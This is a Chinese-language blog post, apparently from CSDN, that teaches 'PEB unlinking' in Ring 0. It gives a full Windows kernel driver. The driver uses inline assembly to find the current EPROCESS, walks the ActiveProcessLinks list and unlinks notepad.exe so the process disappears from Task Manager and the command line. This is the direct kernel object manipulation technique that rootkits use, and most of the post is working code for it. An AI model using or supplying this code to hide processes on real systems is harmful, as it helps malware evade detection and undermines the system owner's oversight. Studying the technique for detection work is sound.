0环PEB断链实现

本文详细描述了一种使用汇编技术在Windows内核层操作EPROCESS和ActiveProcessLinks,实现在不显示任务管理器和命令行中notepad.exe进程的方法。开发者展示了如何通过定位EPROCESS结构并修改链接列表来达到隐藏进程的目的。
摘要由CSDN通过智能技术生成

截止到昨天那里我们的思路就清晰了,通过EPROCESS找到我们要隐藏的进程的ActiveProcessLinks,将双向链表的值修改,就可以将我们想要隐藏的这个进程的ActiveProcessLinks从双向链表中抹去的效果,这里的话如果在windbg里面直接使用ed修改的话是比较方便的,但是如果要使用代码来进行修改的话就需要首先定位到EPROCESS

ETHREAD0x220偏移得到ThreadsProcess,指向的是_EPROCESS这个结构体

那么就可以用汇编实现找到EPROCESS结构

    __asm
    {
        mov eax, fs: [0x124] ;
        mov eax, [eax + 0x220];
        mov pEprocess, eax;
    }

首先定义一个指针指向EPROCESS结构,并初始化指向ActiveProcessLinks的指针

pCurProcess = pEprocess;

curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);

然后判断通过EPROCESS的0x174处的ImageFileName来判断进程名是不是我们想要隐藏的进程

ImageFileName = (PCHAR)pCurProcess + 0x174;
        if (strcmp(ImageFileName, "notepad.exe") == 0)

如果是我们想要隐藏的进程就执行断链操作

            curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);
            nextNode = curNode->Flink;
            preNode = curNode->Blink;
            
            preNode->Flink = curNode->Flink;
            
            nextNode->Blink = curNode->Blink;

如果不是我们想要的进程就继续往下取ActiveProcessLinks的值

pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88);

完整代码如下

#include <ntddk.h>

NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path);
VOID DriverUnload(PDRIVER_OBJECT driver);


NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)
{
    PEPROCESS pEprocess, pCurProcess;
    PCHAR ImageFileName;
    
    __asm
    {
        mov eax, fs: [0x124] ;
        mov eax, [eax + 0x220];
        mov pEprocess, eax;
    }
    pCurProcess = pEprocess;
    
    do
    {
        ImageFileName = (PCHAR)pCurProcess + 0x174;
        if (strcmp(ImageFileName, "notepad.exe") == 0)
        {
            PLIST_ENTRY preNode, curNode, nextNode;
            
            curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);
            nextNode = curNode->Flink;
            preNode = curNode->Blink;
            
            preNode->Flink = curNode->Flink;
            
            nextNode->Blink = curNode->Blink;

            DbgPrint("断链成功!\n");
        }
        pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88);
    } while (pEprocess != pCurProcess);

    driver->DriverUnload = DriverUnload;
    return STATUS_SUCCESS;
}

VOID DriverUnload(PDRIVER_OBJECT driver)
{
    DbgPrint("驱动卸载成功\n");
}

实现效果如下

安装驱动之后在任务管理器跟cmd里面都已经看不到notepad.exe这个进程

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值